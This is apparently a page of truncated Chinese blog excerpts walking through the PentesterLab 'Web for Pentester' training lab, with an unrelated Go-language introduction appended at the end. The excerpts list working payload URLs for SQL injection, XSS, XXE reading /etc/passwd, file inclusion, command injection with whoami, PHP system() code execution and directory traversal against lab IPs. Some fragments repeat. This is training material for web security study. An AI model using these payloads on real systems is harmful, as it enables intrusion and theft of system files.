web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址:https://www.pentesterlab.com/exercises/web_for_pentester_II 安装流程: 1.新建一个空白的虚拟机 2.选择web_for_pentester.iso,然后点击开始运行虚拟机即可. 3.网络设置,一般设置NAT自动获取ip即可,用ifconf…

Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23 http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23 http://192.168.91.139/sqli/example1.php?name=root' uni…

Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab.com/test_include.txt Example 2 加单引号,报错,可发现获取到的参数后面会加上.php后缀 通过%00截断后面字符 http://192.168.106.154/fileincl/example2.php?page=https://assets.pentesterlab.…

example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20UserInfo%5B%3C%21ENTITY%20name%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Caa%3E%26name%3B%3C%2faa%3E http…

Example 1 http://192.168.91.139/xss/example1.php?name=hacker<script>alert('xss')</script> Example 2 http://192.168.91.139/xss/example2.php?name=hacker<ScriPt>alert('xss')</ScriPt> Example 3 http://192.168.91.139/xss/example3.php?na…

example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20UserInfo%5B%3C%21ENTITY%20name%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Caa%3E%26name%3B%3C%2faa%3E http…

命令执行漏洞 windows支持: |           ping 127.0.0.1|whoami           ||              ping  2 || whoami (哪条名令为真执行那条) &  &&   ping 127.0.0.1&&whoami Linux支持: :      127.0.0.1;whoami |         127.0.0.1|whoami                    11    1||whoami …

Example 1 http://192.168.106.154/codeexec/example1.php?name=".system('uname -a');// Example 2 http://192.168.106.154/codeexec/example2.php?order=id);}system('more /etc/passwd');// Example 3 http://192.168.106.154/codeexec/example3.php?new=phpinfo()&a…

Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 http://192.168.106.154/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd 代码会检测是否包含/var/www/files/字符串 Example 3 http://192.168.…

Golang学习系列:(一)介绍和安装 Java程序员带你来到Go的世界,让我们开始探索吧! Go是一种新的语言,一种并发的,带有垃圾回收的.快速编译的语言,它具有一下特点: 他可以在一台计算机上用几秒钟的时间编译一个大型的Go程序 Go为软件构造提供了一种模型,它使依赖分析更加容易,且避免了大部分C风格include文件与库的开头. Go是静态类型的语言,它的类型系统没有层级.因此用户不需要在定义类型之间的关系上花费时间,这样感觉起来比典型的面向对象语言更轻量级. Go完全是垃圾回收型的语言,…